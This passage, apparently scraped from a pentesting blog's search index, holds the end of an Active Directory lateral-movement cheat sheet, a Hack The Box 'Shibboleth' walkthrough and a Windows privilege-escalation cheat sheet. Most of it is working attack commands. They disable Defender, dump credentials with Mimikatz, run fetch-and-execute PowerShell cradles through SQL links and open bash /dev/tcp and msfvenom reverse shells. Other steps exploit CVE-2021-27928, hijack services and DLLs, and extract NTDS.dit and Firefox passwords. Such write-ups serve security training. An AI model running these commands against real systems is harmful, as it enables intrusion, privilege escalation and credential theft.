hashes#Create a session for remoting system$sess = New-PSSession -ComputerName &lt;computer-name&gt;#Bypass AMSIInvoke-Command -ScriptBlock {Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; whoami} -Session $sess#Locally load mimikatz on your own systemImport-Module .\\Invoke-Mimikatz.ps1#Execute locally loaded functions remoting systemInvoke-Command -ScriptBlock ${function:Invoke-Mimikatz -command '"sekurlsa::logonpasswords"'} -Session $sessMS-SQL Enumeration - Part 1 MS SQL servers are generally deployed in plenty in a Windows domain. SQL Servers provide very good options for lateral movement as domain users can be mapped to database roles.For importing the script use the following commandImport-Module .\\PowerUpSQL.psd1Methodology/Steps 1. Check the SPN’s 2. Check which SPN’s you have access to 3. Check the Privileges you have of the above filtered SPN’s 4. Keep note of the Instance-Name, ServicePrincipalName and the DomainAccount-Name 5. If you find any service with higher privileges continue below to abuse itPowerUpSQL Enumeration1. Enumerate SPNGet-SQLInstanceDomain2. Check AccessGet-SQLConnectionTestThreadedGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose3. Check Privileges / Gather InfromationGet-SQLInstanceDomain | Get-SQLServerInfo -Verbose4. Check impersonation rights (extra)Invoke-SQLAudit -Verbose -Instance &lt;instanceName&gt;MS-SQL Abuse - Part 2 A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources. In case of database links between SQL servers, that is, linked SQL servers it is possible to execute stored procedures. Database links work even across forest trusts.Execute commands on target server On the target server, either xp_cmdshell should be already enabled; or If rpcout is enabled (disabled by default), xp_cmdshell can be enabled using:EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql" If rpcout is disabled but we are sa, it can be enabled withEXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';Methodology/Steps 1. Check the SQL Server link 2. Keep note if you have link to any other database in DatabaseLinkName 3. If SysAdmin:0 means that we will not be allowed to enable xp_cmdshell 4. Keep on enumerating and check all the linked databases you have access to 5. Now we can try to execute commands through out all the linked databases foundPowerUpSQL - Abusing the privileges1. Enumerate SQL Server linksGet-SQLServerLink -Instance &lt;instanceName&gt; -Verboseselect * from master..sysservers2. Enumerate DB linksGet-SQLServerLinkCrawl -Instance dcorp-mysql -Verboseselect * from openquery("&lt;instanceName&gt;",'select * from openquery("&lt;linkedInstance&gt;",''select * from master..sysservers'')')3. Execute commands on target serverGet-SQLServerLinkCrawl -Instance dcorp-mysql -Query "exec master..xp_cmdshell 'whoami'" | ftExtra Commands1. Download file on target serverGet-SQLServerLinkCrawl -Instance &lt;instanceName&gt; -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://IP:8080/Invoke-HelloWorld.ps1'',''C:\\Windows\\Temp\\Invoke-HelloWorld.ps1'')"'2. Impersonate an userInvoke-SQLAuditPrivImpersonateLogin -Instance &lt;instanceName&gt; -Exploit -Verbose#Then, we can EXECUTE AS, and chained the 'EXECUTE AS'Get-SQLServerLinkCrawl -Verbose -Instance &lt;instanceName&gt; -Query "EXECUTE AS LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'powershell -c iex (new-object net.webclient).downloadstring(''http://IP/Invoke-HelloWorld.ps1'')'"3. Basic SQL Server queries for DB enumerationAlso works with Get-SQLServerLinkCrawl#View all db in an instanceGet-SQLQuery -Instance &lt;instanceName&gt; -Query "SELECT name FROM sys.databases"#View all tablesGet-SQLQuery -Instance &lt;instanceName&gt; -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.TABLES" #View all cols in all tables in a dbGet-SQLQuery -Instance &lt;instanceName&gt; -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.columns"#View data in tableGet-SQLQuery -Instance &lt;instanceName&gt; -Query "USE dbName;SELECT * FROM tableName"Tools Used Invoke-Mimikatz download from here : Invoke-Mimikatz.ps1 PowerUpSQL download from here : PowerUpSQL.psd1 If you find my articles interesting, you can buy me a coffee" }, { "title": "Hack The Box - Shibboleth", "url": "/posts/HTB-Shibboleth/", "categories": "Hackthebox, Hackthebox-Linux, Hackthebox-Medium", "tags": "network, MariaDB, password-reuse, Internal, IPMI, CVE-Exploitation, CVE-2021-27928, Weak-Credentials", "date": "2022-04-05 08:47:00 +0530", "snippet": "Shibboleth is about enumerating the UDP ports through which we can find IPMI service is running. We can dump the administrator hashes and log in to one of Shibboleth’s subdomains, where we can get RCE and an initial shell as Zabbix. With password reuse, we can move laterally to ipmi-svc. To root the box, it’s a simple RCE on an outdated version of MySQL.ReconNmapThe first thing that I do is run nmap scan enumerating tcp and udp that show this results :0xStarlight@kali$ nmap -sC -sV -Pn 10.10.11.124 -vv &gt; nmap_tcp_scan.conf0xStarlight@kali$ nmap -sC -sV -sU -Pn 10.10.11.124 -vv &gt; nmap_udp_scan.conf0xStarlight@kali$ cat nmap_tcp_scan.conf nmap_udp_scan.conf[SNIP...]PORT STATE SERVICE REASON VERSION80/tcp open tcpwrapped syn-ack| http-methods: |_ Supported Methods: GET HEAD POST OPTIONS|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Did not follow redirect to http://shibboleth.htb/|PORT STATE SERVICE VERSION623/udp open asf-rmcp1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port623-UDP:V=7.91%I=7%D=1/15%Time=61E2A6CF%P=x86_64-pc-linux-gnu%r(ipmSF:i-rmcp,1E,"\\x06\\0\\xff\\x07\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x10\\x81\\x1cc\\x20\\x008\\0\\x01SF:\\x97\\x04\\x03\\0\\0\\0\\0\\t");From the Nmap results, we can see that there is port 80, which is a web service apache 2.4.41, is running on the server with a hostname of shibboleth.htb. So we can add it to our /etc/hosts file.On port 623, we can see the asf-rmcp service running. UDP IPMI service on port 623 is a quick way of discovering BMCs on the network.shibboleth.htb - TCP 80Upon visiting the site, it seems to be made out of bootstrap. It has a few pages visible on the top. There is also a contact form which returns an error when submitted.I tried feroxbuster, but no interesting page was returned to me. At the bottom of the page, we can view how the server is hosted.Powered by enterprise monitoring solutions based on Zabbix and Bare Metal BMC automation.Doing a lot of research on Bare Metal BMC displays many references about IPMI.Subdomain FuzzingThe next thing I tried was subdomain fuzzing using ffuf. I’ll start the scan and immediately kill it, then use the -fw tag to hide all the pages redirecting me to status 302 with word 18.0xStarlight@kali$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://shibboleth.htb/ -H "Host: FUZZ.shibboleth.htb" -fw 18 /'___\\ /'___\\ /'___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v1.3.0 Kali Exclusive &lt;3________________________________________________ :: Method : GET :: URL : http://shibboleth.htb/ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.shibboleth.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405 :: Filter : Response words: 18________________________________________________monitor [Status: 200, Size: 3684, Words: 192, Lines: 30]monitoring [Status: 200, Size: 3684, Words: 192, Lines: 30]zabbix [Status: 200, Size: 3684, Words: 192, Lines: 30]I’ll add each of those to /etc/hosts as well:10.10.11.124 shibboleth.htb monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htbmonitor.shibboleth.htb - TCP 80We can see ZABBIX is running on this subdomain upon visiting the site. At the bottom, we can see the copyright till 2021. So this means we could be an outdated service abuse. Since we saw from shibboleth.htb is powered by Bare Metal BMC automation, there could be a chance that we could abuse IMPI to get a valid login credential to log in.IMPI - UDP 623One of the blogs, I read while researching stated that Most BMCs expose some form of web-based management, a command-line interface such as Telnet or Secure Shell, and the IPMI network protocol on port 623 (UDP and sometimes TCP).The article on Hacktricks demonstrated the exploitation of IMPI and dumping of the users hashes.Basically, you can ask the server for the hashes MD5 and SHA1 of any username and if the username exists those hashes will be sent back. Yeah, as amazing as it sounds. And there is a metasploit module for testing this.msf &gt; use auxiliary/scanner/ipmi/ipmi_dumphashesmsf &gt; set rhosts 10.10.11.124msf &gt; exploit[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:2b68c64d82280000a8c1a7e2d84aba3e0410df33d1bf8d7f39a69fefdb2a49b26877364dbe132618a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:b2726f78047e0ccb5324cb8a4701686d29ad00a5Now we have the administrators hash. we can crack the hash using hashcat and try to login using the found credentials.0xStarlight@kali$ hashcat -m 7300 hash /home/kali/rockyou.txtpassword : ilovepumkinpie1Shell as ZabbixGreat, now we have Administrator user valid credentials. Useraname Password Administrator ilovepumkinpie1 We can go back to monitor.shibboleth.htb and log in as Administrator.The end of the dashboard page displays the version of Zabbix, i.e., Zabbix 5.0.17. © 2001–2021, Zabbix SIA. I tried to google if there were any documents or any pre available exploits for the version Zabbix is running on.After a lot of digging, I couldn’t find any pre available exploits for abusing Zabbix 5.0.17. Still, on reading the documentation of the Zabbix agent, the system data command mentioned that it was possible for command execution using the system.run[command,&lt;mode&gt;] function.Let’s try it out. First, set a listener on our machine.0xStarlight@kali$ sudo rlwrap nc -lnvp 8888Navigate to the following –&gt; Configurations &gt; Host &gt; Items &gt; create itemWe can inject our payload for a reverse shell into the key value and then test the value to execute the command.system.run[/bin/bash -c "/bin/bash -i &gt;&amp; /dev/tcp/10.10.x.x/8888 0&gt;&amp;1",nowait]Shell as ipmi-svcAfter receiving a reverse shell from Zabbix, we can make it into a stable shell to work on it more efficiently.zabbix@shibboleth:/$ python3 -c "import pty;pty.spawn('/bin/bash')"I identified another user on the machine, ipmi-svc. Since we already have a credential found, we can try to use that to elevate to that user.zabbix@shibboleth:/$ su ipmi-svcpassword : ilovepumkinpie1ipmi-svc@shibboleth:/$ whoami;idipmi-svcuid=1000(ipmi-svc) gid=1000(ipmi-svc) groups=1000(ipmi-svc)EnumerationThe first thing I checked was Zabbix config file stored as /etc/zabbix/ to check if there would be any other user’s credentials hardcoded into it, which we may use for privilege escalation.ipmi-svc@shibboleth:/$ grep -iR 'password' /etc/zabbix/ 2&gt;/dev/nullFurther reading the file, we can find the username and the password to access Zabbix’s database server. Useraname DBUser DBPassword zabbix zabbix bloooarskybluh I also ran linpeas on another shell to check if it returned anything interesting. It displayed MySQL is running on the machine on port 3306.Shell as RootWe can log in to the MYSQL databases server with the above credential.ipmi-svc@shibboleth:/$ mysql -u zabbix -p -D zabbixpassword : bloooarskybluhReading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -AWelcome to the MariaDB monitor. Commands end with ; or \\g.Your MariaDB connection id is 17592Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.MariaDB [zabbix]&gt; On reading the server version, it’s currently running on MariaDB 10.3.25, an older version of MariaDB. Doing a quick google search, I found out it was vulnerable to remote code execution, which would give us privileged access as root user using CVE-2021-27928.Using the CVE we can craft our payload and get root access.Local MachineCreate the reverse shell payload and start the listener.0xStarlight@kali$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.x.x LPORT=9999 -f elf-so -o shell.so0xStarlight@kali$ sudo rlwrap nc -lnvp 9999We can start a python server so we can transfer the file on ipmi-svc using wget.0xStarlight@kali$ python3 -m http.server 80ipmi-svc MachineTransfer the file, execute the payload and check on the listening listener to get a shell as root.ipmi-svc@shibboleth:/$ wget http://10.10.x.x/shell.so -o /tmp/shell.soipmi-svc@shibboleth:/$ mysql -u zabbix -p -D zabbix -e 'SET GLOBAL wsrep_provider="/tmp/shell.so";'password : bloooarskybluhBox RootedHTB Profile : 0xStarlightIf you find my articles interesting, you can buy me a coffee" }, { "title": "Active Directory - Local Privilege Escalation", "url": "/posts/Active-Directory-Windows-Local-Priv-Esc/", "categories": "Red-Teaming, Active-Directory-Local-Privilege-Escalation", "tags": "active-directory-local-privilege-escalation, windows-local-privilege-escalation", "date": "2022-04-01 06:56:00 +0530", "snippet": "IntroductionWelcome to my third article in the Red Teaming Series (Active Directory Local Privilege Escalation). I hope everyone has gone through the first two articles of this series which go through the basic concepts required to understand Active Directory and high-level Domain enumeration explanation.If not so, you can give it a read from here.This guide aims to explain Windows/Active-Directory Local Privilege escalation snippets mainly by abusing services, registries, tokens and groups etc., in detail. I will also explain those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.I will continue to update this article with new privilege escalation vectors. Throughout the article, I will use PowerView, winPEAS, AccessChk and PowerUp in performing local privilege escalation on an Windows/Active Directory Environment. If any other tools are required, they will be mentioned along.What is Privilege EscalationPrivilege escalation exploits a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are generally protected from an application or user.Now that you know the meaning of privilege escalation, we can dive right into the techniques for escalation.AutorunMethodologyAutorun is a type of Registry Escalation.To ensure that the IT department creates a secure environment, Windows administrators often need to know what kind of access specific users or groups have to resources, including files, directories, Registry keys, global objects, and Windows services. AccessChk quickly answers these questions with an intuitive interface and output.So basically, we can say a particular application in a specific directory gets automatically executed with administrator privileges once he logs on. This can be abused by finding the path location and dropping our malicious executable file through which we will gain administrator access.DetectionUsing Autoruns and AccessChk Transfer Autoruns64.exe on the Windows/AD machine and execute it on cmd C:\\Temp&gt; Autoruns64.exe In Autoruns, click on the "Logon" tab. From the listed results, notice that the "My Program" entry is pointing to "C:\\Program Files\\Autorun Program\\program.exe". Go back to the command prompt run AccessChk64.exeC:\\Temp&gt; accesschk64.exe -wvu "C:\\Program Files\\Autorun Program"# Switch meaning# w --&gt; only show items that have write access# v --&gt; verbose; dispaly as many details as possible# u --&gt; ignore the errorsUsing PowerUp Run PowerUp and Run Invoke-AllChecks (check the autoruns field)C:\\Temp&gt; powershell -ep bypassPS C:\\Temp&gt;. .\\PowerUp.sp1PS C:\\Temp&gt; Invoke-AllChecksFrom the output, notice that the "Everyone" user group has "FILE_ALL_ACCESS" permission on the "program.exe" file. To gain administrator access, we can drop our malicious executable file by overwriting on the file.ExploitationKali VM Start a netcat listener $ sudo nc -nvlp 53 Open an additional command prompt and type: $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o program.exe Transfer the generated file, program.exe, to the Windows VM.Windows VM replace program.exe in 'C:\\Program Files\\Autorun Program'Kali VM Wait for a reverse shell on your kali machine.AlwaysInstallElevatedMethodologyAlwaysInstallElevated is a type of Registry Escalation.This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting.To install a package with elevated (system) privileges, set the AlwaysInstallElevated value to “1” under both of the following registry keys:HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\InstallerHKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\InstallerIf the AlwaysInstallElevated value is not set to “1” under both of the preceding registry keys, the installer uses elevated privileges to install managed applications and uses the current user’s privilege level for unmanaged applications.DetectionWindows VM Open command prompt and type: C:\\Temp&gt; reg query HKLM\\Software\\Policies\\Microsoft\\Windows\\Installer 0x1 means its ON In command prompt type: C:\\Temp&gt;reg query HKCU\\Software\\Policies\\Microsoft\\Windows\\Installer 0x1 means its ON From the both output, we notice that “AlwaysInstallElevated” value is 1. Hence, we can abuse this function to get privilege escalation.Using PowerUp Run Powerup.ps1 and Run Invoke-AllChecks (check the AlwaysInstallElevated field) C:\\Temp&gt; powershell -ep bypassPS C:\\Temp&gt;. .\\PowerUp.sp1PS C:\\Temp&gt; Invoke-AllChecks Run Write-UserAddMSI and Add backdoor user in Administrators group (Required RDP access) Check local Administrators C:\\Temp&gt; net localgroup administrators# now backdoor is added to the localgroup administrators group ExploitationKali VM Start a netcat listener $ sudo nc -nvlp 53 Open an additional command prompt and type: $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f msi -o setup.msi Copy the generated file, setup.msi, to the Windows VM.Windows VM Place 'setup.msi' in 'C:\\Temp' Open command prompt and type: C:\\Temp&gt; msiexec /quiet /qn /i C:\\Temp\\setup.msi Kali VM Wait for a reverse shell on your kali machine.Service RegistryMethodologyA service registry consists of a cluster of servers that use a replication protocol to maintain consistency. Hence if we get Full Contol permission over the registry key, we can drop our malicious executable file to gain administrator access.DetectionWindows VM Open powershell prompt and type: C:\\Temp&gt; powershell -ep bypassPS C:\\Temp&gt; Get-Acl -Path hklm:\\System\\CurrentControlSet\\services\\regsvc | fl Notice that the output suggests that user belong to "NT AUTHORITY\\INTERACTIVE" has "FullContol" permission over the registry key.ExploitationKali VM Start a netcat listener $ sudo nc -nvlp 53 Open an additional command prompt and type: $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe Copy the generated file x.exe, to the Windows VM.Windows VM Place x.exe in 'C:\\Temp' Open command prompt at type: C:\\Temp&gt; reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\\temp\\x.exe /f In the command prompt type: C:\\Temp&gt; sc start regsvc# If it doesnt work try restaring the service and perform the exploit egain Kali VM Wait for a reverse shell on your kali machine.Executable FilesMethodologyMicrosoft Windows services, formerly known as NT services, enable you to create long-running executable applications that run in their own Windows sessions. These services can be automatically started when the computer boots, can be paused and restarted, and do not show any user interface.Hence if we get Full Contol permission over the file path location, we can drop our malicious executable file to gain administrator access.Detection Run Powerup.ps1 and Run Invoke-AllChecks (check the service executable field) C:\\Temp&gt; powershell -ep bypassPS C:\\Temp&gt;. .\\PowerUp.sp1PS C:\\Temp&gt; Invoke-AllChecks We can see that we have Modifiable File access to "c:\\Program Files\\File Permissions Service\\filepermservice.exe". To gain administrator access, we can drop our malicious executable file on this location.ExploitationKali VM Start a netcat listener $ sudo nc -nvlp 53 Open an additional command prompt and type: $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe Copy the generated file x.exe, to the Windows VM and replace it over filepermsvc.exe.Windows VM In command prompt type: C:\\Temp&gt; sc start filepermsvc Kali VM Wait for a reverse shell on your kali machine.Startup ApplicationsMethodologyStartup apps run in the background, the number of apps running on the system can be significantly more than what the user is aware of and affect system responsiveness. Startup apps are classified to include those leveraging these mechanisms to start: Run registry keys (HKLM, HKCU, wow64 nodes included) RunOnce registry keys Startup folders under the start menu for per user and public locationsSo basically, we need full access to the Startup folder. Then by dropping our malicious executable file, we will gain administrator access.DetectionWindows VM Open command prompt and type: C:\\Temp&gt; icacls.exe "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" From the output notice that the "BUILTIN\\Users" group has full access '(F)' to the directory.ExploitationKali VM Start a netcat listener $ sudo nc -nvlp 53 Open an additional command prompt and type: $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o y.exe Copy the generated file, y.exe, to the Windows VM.Windows VM Place y.exe in "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup".Kali VM Wait for a reverse shell on your kali machine.DLL HijackingMethodologyWindows applications usually load DLL files when started. It may happen that a DLL file does not exist and the application is unable to load it. Nevertheless, an application will continue to execute as long as the missing DLL is not needed.In case the application uses a relative and not an absolute file path, Windows searches for the file in the following directories: The directory from which the application is loaded C:\\Windows\\System32 C:\\Windows\\System C:\\Windows The current working directory Directories in the system PATH environment variable Directories in the user PATH environment variableSteps taken to perform DLL hijacking are outlined below. Identify vulnerable application and location Identify applications PID Identify vulnerable DLLs that can be hijacked Use MSFVenom or other payload creation tools to create a malicious DLL Replace the original DLL with the malicious DLL ProfitDetectionWindows VM (RDP is required) Transfer Procmon.exe on the Windows VM Right click on Procmon.exe and select 'Run as administrator' from the menu. In procmon, select "filter". From the left-most drop down menu, select 'Process Name'. In the input box on the same line type: dllhijackservice.exe Make sure the line reads “Process Name is dllhijackservice.exe then Include” and click on the 'Add' button, then 'Apply' and lastly on ‘OK’. Next, select from the left-most drop down menu 'Result'. In the input box on the same line type: NAME NOT FOUND. Make sure the line reads “Result is NAME NOT FOUND then Include” and click on the 'Add' button, then 'Apply' and lastly on ‘OK’. Open command prompt and type: C:\\Temp&gt; sc start dllsvc Scroll to the bottom of the window. One of the highlighted results shows that the service tried to execute 'C:\\Temp\\hijackme.dll' yet it could not do that as the file was not found. Note that 'C:\\Temp' is a writable location.ExploitationKali VM Start a netcat listener $ sudo nc -nvlp 53 Open an additional command prompt and type: $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f dll -o hijackme.dll Copy the generated file hijackme.dll, to the Windows VM.Windows VM Place hijackme.dll in 'C:\\Temp' Open command prompt and type: C:\\Temp&gt; sc stop dllsvc &amp; sc start dllsvc Kali VM Wait for a reverse shell on your kali machine.BinPathMethodologyBinPath is a type of Service Escalation. We can gain administrator privileges if we write access and restart access on any service. We can abuse this function by injecting our malicious BinPath to get executed once restarted.DetectionUsing Script on Windows VM Run Powerup.ps1 and Run Invoke-AllChecks (check the service permissions field)C:\\Temp&gt; powershell -ep bypassPS C:\\Temp&gt;. .\\PowerUp.sp1PS C:\\Temp&gt; Invoke-AllChecksChecking manually on Windows VM Run AccessChk64.exeC:\\Temp&gt; accesschk64.exe -uwcv Everyone *# Switch meaning# w --&gt; only show items that have write access# v --&gt; verbose; dispaly as many details as possible# u --&gt; ignore the errors# c --&gt; displays service name of the following# Everyone --&gt; means everyone as a group who hass access Using AccessChk64.exe query the service found C:\\Temp&gt; accesschk64.exe -uwcv daclsvc Find path of the bin file C:\\Temp&gt; sc qc daclsvc ExploitationKali VM Start a netcat listener $ sudo nc -nvlp 53 Open an additional command prompt and type: $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o reverse.exe Copy the generated file reverse.exe, to the Windows VM.Windows VM Place reverse.exe in 'C:\\Temp' In command prompt type: C:\\Temp&gt; sc config daclsvc binpath= "C:\\Temp\\reverse.exe" In command prompt type: C:\\Temp&gt; sc start daclsvc Kali VM Wait for a reverse shell on your kali machine.Unquoted Service PathsMethodologyWhen a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege).In Windows, if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument.Detection Run Powerup.ps1 and Run Invoke-AllChecks (check the unquoted service field) C:\\Temp&gt; powershell -ep bypassPS C:\\Temp&gt;. .\\PowerUp.sp1PS C:\\Temp&gt; Invoke-AllChecks ExploitationKali VM Start a netcat listener $ sudo nc -nvlp 53 Open an additional command prompt and type: $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o common.exe Transfer the generated file, common.exe, to the Windows VM.Windows VM Place common.exe in 'C:\\Program Files\\Unquoted Path Service'. Open command prompt and type: C:\\Temp&gt; sc start unquotedsvc# ORC:\\Temp&gt; net start unquotedsvc Kali VM Wait for a reverse shell on your kali machine.Juicy potato attackMethodologyThis privilege allows us to impersonate a token of a privileged account such as NT AUTHORITY\\SYSTEM.DetectionWindows VM We should have SeImpersonatePrivilege privileges enabled C:\\Temp&gt;whoami /priv ExploitationKali VM Copy Invoke-PowerShellTcp.ps1 from nishang shells as shell.ps1 Add the line at the bottom of shell.ps1 Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 9999 Lets create a shell.bat file powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.31/shell.ps1') Transfer shell.bat and juicypotato.exe on victim machine $ (new-object net.webclient).downloadfile('http://10.10.14.31/file', 'C:\\temp\\file') Set a listener on port 9999 $ sudo rlwrap nc -lnvp 9999 Windows VM Run juicy potato $ ./jp.exe -p shell.bat -l 7777 -t * If this fail Try with a different CLSID depending upon the system version and select the CLSID which supports NT AUTHORITY\\SYSTEM Link –&gt; http://ohpe.it/juicy-potato/CLSID Lets run again $ ./jp.exe -p shell.bat -l 7777 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}" Kali VM Wait for a reverse shell on your kali machine.Hot Potato attackMethodologyHot Potato takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM relay (specifically HTTP-&gt;SMB relay) and NBNS spoofing.DetectionWindows VM We should have SeImpersonatePrivilege privileges enabled C:\\Temp&gt; whoami /priv ExploitationI will be demonstrating a simple exploitation technique by adding a user to the local administrators group using Tater.ps1Windows VM Enter the following to gain administrator access C:\\Temp&gt; powershell.exe -nop -ep bypassPS C:\\Temp&gt; Import-Module C:\\Temp\\Tater.ps1PS C:\\Temp&gt; Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add" Kernel ExploitsSearcing exploitsThis method is handy for checking any existing exploits available for the machine by looking at the system information.From the results of windows-exploit-suggester.py we can select one of the kernel exploits and try to escalate privileges.Windows VM Run systeminfo and save it into a text fileC:\\Temp&gt; systeminfoKali VM Pass the file thorugh windows-exploit-suggester.py$ ./windows-exploit-suggester.py --update[*] initiating...[*] successfully requested base url[*] scraped ms download url[+] writing to file 2020-06-06-mssb.xlsx[*] done$ ./windows-exploit-suggester.py --database 2020-06-06-mssb.xlsx --systeminfo systeminfo.txt Exploits will be displayed here...Password Mining Escalation - FirefoxDetection winpeas Path location : C:\\Temp&gt; C:\\Users\\usernamehere\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles RequirementsCopy the following files from the Windows VM to Kali VM: key4.db logins.json addons.json cert9.dbExploitation Download the following $ git clone https://github.com/lclevy/firepwd.git Place the required files in the same directory and run the python file for the creds$ python3 firepwd.py globalSalt: b'2d45b7ac4e42209a23235ecf825c018e0382291d'&lt;SNIP&gt;clearText b'86a15457f119f862f8296e4f2f6b97d9b6b6e9cb7a3204760808080808080808'decrypting login/password pairs https://creds.com:b'mayor',b'&lt;&lt;HIDDEN&gt;&gt;'Runas-SavdcredsMethodologyWe can check if there are any pre-existing credentials of the administrator on the system. We can abuse this by using the loaded creds for privilege escalation. In the below example, I will demonstrate how to read files through the saved creds.Detection winpeas Checking for existence$ cmdkey /listCurrently stored credentials: Target: Domain:interactive=WORKGROUP\\Administrator Type: Domain Password User: WORKGROUP\\AdministratorExploitation Reading root flagC:\\Temp&gt; C:\\Windows\\System32\\runas.exe /user:ACCESS\\Administrator /savecred "C:\\Windows\\System32\\cmd.exe /c TYPE c:\\Users\\Administrator\\Desktop\\root.txt &gt; C:\\Users\\security\\root1.txt"Backup Operators (Disk shadow + Robocopy)MethodologyIf the user is a part of the Backup Operator group, the user has the ability to create system backups and could be used to obtain copies of sensitive system files that can be used to retrieve passwords such as the SAM and SYSTEM Registry hives and the NTDS.dit Active Directory database file.Detection The user should be a part of the Backup Operators group and should have SeBackupPrivilege and SeRestorePrivilege EnabledC:\\Temp&gt; net user unsername-hereC:\\Temp&gt; whoami /allExploitationKali VM Create this script and transfer it to Windows VMset verbose onXset metadata C:\\Windows\\Temp\\meta.cabXset context clientaccessibleXset context persistentXbegin backupXadd volume C: alias cdriveXcreateXexpose %cdrive% E:Xend backupXWindows VM Pass the script to diskshadow unility to create the shadow copy PS C:\\Temp&gt; diskshadow /s script.txt Now copy the NTDS file using Robocopy to the Temp file we created in the C: drive PS C:\\Temp&gt; robocopy /b E:\\Windows\\ntds . ntds.dit Next we get the system registry hive that contains the key needed to decrypt the NTDS file with reg save command. PS C:\\Temp&gt; reg save hklm\\system c:\\temp\\system.hive Dumping NTML Hashes We can use secretsdump.py do decrypt the DA creds on Kali VM$ secretsdump.py -ntds ntds.dit -system system.hive LOCAL | tee hash-dumpAbusing GPO permissionsExploitationWe Abusing GPO by adding the user to the local Administrators group leveraging a tool called SharpGPOAbuse.Source : https://github.com/FSecureLABS/SharpGPOAbusePre compiled binaries : https://github.com/Flangvik/SharpCollection Add user to local administrator groupsPS C:\\Enterprise-Share&gt; .\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author vulnnet\\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"[+] Domain = vulnnet.local[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local[+] GUID of "SECURITY-POL-VN" is: {31B2F340-016D-11D2-945F-00C04FB984F9}[+] Creating file \\\\vulnnet.local\\SysVol\\vulnnet.local\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml[+] versionNumber attribute changed successfully[+] The version number in GPT.ini was increased successfully.[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.[+] Done! Force Update the systemPS C:\\Enterprise-Share&gt; gpupdate /forceUpdating policy...Computer Policy update has completed successfully.User Policy update has completed successfully. Now review our group memberships after we forced the policies to be updated on the target machine.PS C:\\Enterprise-Share&gt; net user enterprise-security# Will be added to the administrators groupExport LAPS PasswordsMethodologyThe following script assumes that LAPS has already been configured into your environment &amp; that your user account already has access to view LAPS passwords using the Fat Client UI or from Active Directory Users &amp; Computers.This script loads the Active Directory module, finds the LAPS password fields, and then saves them to a CSV with the date appended to the file name. The only thing you’d 